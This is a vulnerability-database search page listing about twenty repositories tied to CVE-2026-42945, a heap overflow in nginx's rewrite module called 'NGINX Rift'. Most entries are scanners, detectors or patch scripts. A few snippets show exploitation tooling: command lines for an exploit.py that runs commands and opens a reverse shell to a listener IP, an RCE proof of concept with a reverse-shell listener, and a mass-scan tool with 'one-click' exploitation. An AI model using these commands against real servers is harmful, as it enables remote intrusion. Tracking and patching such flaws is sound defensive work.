Lucene search
+L

101 matches found

Kitploit
Kitploit
added 2026/09/05 11:55 p.m.6 views

nGixshell

nGixShell 是一个 nginx CVE 扫描器和 RCE 漏洞利用框架。它附带一个针对 CVE-2026-42945 的可工作概念验证(proof-of-concept)——ngxhttprewritemodule 中的一个严重堆缓冲区溢出——以及一个覆盖 53 个 nginx CVE 的扫描器,具备自动化 HTTP 探测、指纹识别、WAF 检测/绕过、Web 安全审计和报告生成功能。 零外部依赖。纯 Python 3 标准库。 快速开始 root@kitploit: Spin up the vulnerable lab docker compose -f...

9.2CVSS7.8AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/05 9:33 p.m.1 views

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift 配置扫描器 语言:中文 | English 这是一个用于检查 NGINX 配置是否存在 CVE-2026-42945(NGINX Rift)和 CVE-2026-9256 风险模式的轻量级脚本。 该漏洞由 depthfirst 在文章 NGINX Rift: Achieving NGINX RCE via an 18-Year-Old Vulnerability 中披露。根据文章和 F5/NVD 描述,风险与 ngxhttprewritemodule 的特定配置组合有关:在同一配置上下文中,rewrite 的替换字符串包含 ?,后续 rewrite、if 或 set...

9.2CVSS7.6AI score0.68047EPSS
SaveExploits46References1
Kitploit
Kitploit
added 2026/09/05 5:34 p.m.6 views

CVE-2026-42945-NGINX-Rift-Check-Script

Este repositorio no tiene un README...

9.2CVSS7.6AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/05 5:00 p.m.4 views

nginx-rift-detect

nginx-rift-detect 针对 CVE-2026-42945 (NGINX Rift)的行为检测脚本 —— 这是 ngxhttprewritemodule 中的一个堆缓冲区溢出漏洞,自 2008 年起便存在于 nginx 中。 ⚠️ 免责声明 本工具仅供授权安全测试和研究使用 。 请仅针对您拥有或已获得明确书面许可 的系统运行本工具。 未经授权使用可能违反您所在司法辖区的计算机犯罪法律。 作者不对因使用本工具而造成的任何滥用或损害承担责任。 背景 CVE-2026-42945 是 nginx 重写脚本引擎(ngxhttprewritemodule)中的一个堆缓冲区溢出漏洞,自版本...

9.2CVSS8AI score0.68047EPSS
SaveExploits42References2
Kitploit
Kitploit
added 2026/09/05 4:43 p.m.3 views

nginx-rift-scanner

nginx-rift-scanner Escáner Python 3 sin dependencias para CVE-2026-42945 "NGINX Rift" — un desbordamiento de búfer en montículo CWE-122 CRÍTICO 9.2 en CVSS v4.0 en ngxhttprewritemodule. Lo que detecta Se ejecutan dos comprobaciones independientes en cada invocación:...

9.2CVSS7.7AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/05 4:12 p.m.4 views

cve-2026-42945-scan

cve-2026-42945-scan Escáner estático para archivos de configuración de NGINX que detecta el patrón rewrite/set asociado con CVE-2026-42945. El escáner analiza configuraciones de NGINX con crossplane, recorre los bloques location e imprime cada ubicación que parezca afectada en este formato:...

9.2CVSS7.8AI score0.68047EPSS
SaveExploits42References2
Kitploit
Kitploit
added 2026/09/04 5:23 p.m.4 views

nginx-rift-check

nginx-rift-check Encuentra configuraciones vulnerables a CVE-2026-42945 , el desbordamiento de búfer en el heap del ngxhttprewritemodule de nginx. Ejecutar una versión afectada de nginx de 0.6.27 a 1.30.0 no es suficiente para ser explotable. La configuración debe contener un par específico de...

9.2CVSS8AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/04 11:45 a.m.4 views

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

9.2CVSS7.9AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/04 1:29 a.m.6 views

ai-vuln-rediscovery-nginx-cve-2026-42945

AI辅助重新发现nginx中的CVE-2026-42945 本仓库记录了一个可复现的AI辅助漏洞重新发现实验,针对nginx的ngxhttprewritemodule,该漏洞后来被关联为CVE-2026-42945。 该实验刻意缩小范围。易受攻击的文件src/http/ngxhttpscript.c被直接提供给模型进行审计。这并非声称AI系统从头开始自主地在完整的nginx代码库中找到了该问题。 摘要 被审计的漏洞是一个由nginx重写处理中脚本引擎状态过时导致的堆缓冲区溢出。 在高层面上: 1. 一个包含?的rewrite替换会设置e-isargs = 1。 2...

9.2CVSS8AI score0.68047EPSS
SaveExploits42References3
Kitploit
Kitploit
added 2026/09/03 1:10 p.m.5 views

nginx-rift-detector

NGINX Rift 检测器用于 CVE-2026-42945 用于受感染 NGINX 服务器的只读 Bash 检测器。它帮助运维人员在 CVE-2026-42945 披露后回答两个问题: 此服务器是否仍运行存在漏洞的 NGINX 版本或危险的重写配置? 本地日志是否包含崩溃、长 URI 或编码信号,需要在关闭工单前进行审查? 快速开始 需求| 链接 ---|--- 浏览工具页面| https://limo57640-crypto.github.io/nginx-rift-detector/ 阅读 Ping7 自检指南|...

9.2CVSS7.7AI score0.68047EPSS
SaveExploits42References2
Kitploit
Kitploit
added 2026/09/03 6:58 a.m.3 views

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 一键修复脚本 自动检测系统发行版,升级 NGINX 至修复版本 ≥1.30.1,并备份配置、自动回滚。 漏洞说明 漏洞编号: CVE-2026-42945 漏洞名称:NGINX Rift NGINX 在处理特定的 rewrite 跳转规则时,请求内容长度计算与实际写入不一致,攻击者可构造恶意请求触发内存破坏,导致工作进程崩溃,甚至远程代码执行。 受影响版本: 低于 NGINX 1.30.1 / 1.31.0 的所有版本 修复版本: NGINX 1.30.1 / 1.31.0 及以上 特性 自动发行版检测 — Ubuntu/Debian /...

9.2CVSS7.8AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/02 10:17 p.m.2 views

CVE-2026-42945-nginx-rift

此存储库没有 README。...

9.2CVSS8AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/02 10:13 p.m.3 views

CVE-2026-42945

此存储库没有 README。...

9.2CVSS8AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/09/02 10:11 p.m.3 views

CVE-2026-42945

CVE-2026-42945 PoC Go 中文 | English A detection and exploitation helper for nginx HTTP/2 CVE-2026-42945. Use it only in authorized environments to verify vulnerability presence, compare patched vs. vulnerable behavior, and reproduce PoC logic in a controlled lab. Affected versions heuristic: nginx...

9.2CVSS8AI score0.68047EPSS
SaveExploits42References1
Kitploit
Kitploit
added 2026/09/02 1:23 p.m.5 views

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — escáner defensivo Las organizaciones que ejecutan NGINX Open Source , NGINX Plus o ingress/controladores basados en NGINX deberían verificar si están afectadas por CVE-2026-42945 y aplicar el parche o reconfigurar antes de que los intentos de explotación lleguen a los...

9.2CVSS8AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/08/31 7:50 a.m.6 views

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - 严重 NGINX RCE CVSS 9.2 分类 类别: 零日 / 远程代码执行 CVE: CVE-2026-42945 CVSS: 9.2 严重 发现日期: 2026年5月12日 补丁日期: 2026年5月 F5季度安全更新 来源: GitHub DepthFirstDisclosures/Nginx-Rift 漏洞详情 NGINX 的 ngxhttprewritemodule 组件中存在一个 堆缓冲区溢出 ,该漏洞于 2008 年 引入——意味着它在被发现前已存在 16 年 。 受影响版本 : NGINX Open Source 0.6.27 ...

9.2CVSS8AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/08/31 5:03 a.m.3 views

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift PoC de RCE con Reverse Shell Prueba de concepto de ejecución remota de código para CVE-2026-42945 , un desbordamiento de búfer en el heap del módulo ngxhttprewritemodule de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado ...

9.2CVSS8AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/08/31 4:06 a.m.3 views

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui Necesita ejecutar jdk21version java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de vulnerabilidades con un clic Necesita jdk21 para ejecutarse Después de descomprimir, ejecuta java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de...

9.2CVSS8AI score0.68047EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/08/31 2:20 a.m.3 views

NGINX-Rift

NGINX Rift — Herramienta de escaneo y verificación de vulnerabilidades CVE-2026-42945 / CVE-2026-9256 NGINX Rift es una herramienta de código abierto de escaneo y verificación para CVE-2026-42945 y CVE-2026-9256 vulnerabilidades de desbordamiento de montón en el módulo ngxhttprewritemodule de...

9.2CVSS8AI score0.68047EPSS
SaveExploits46
Kitploit
Kitploit
added 2026/08/31 1:00 a.m.5 views

Scanner_CVE_2026-42945

Escáner para detección de instancias Nginx vulnerables al CVE-2026-42945 NGINX RIFT. Acepta IPs individuales, rangos CIDR y ASNs como entrada. Acerca de El CVE-2026-42945 afecta a todas las versiones de Nginx anteriores a la 1.30.1. La herramienta sondea HTTP y HTTPS en los puertos predeterminado...

9.2CVSS8AI score0.68047EPSS
SaveExploits42
Rows per page
Query Builder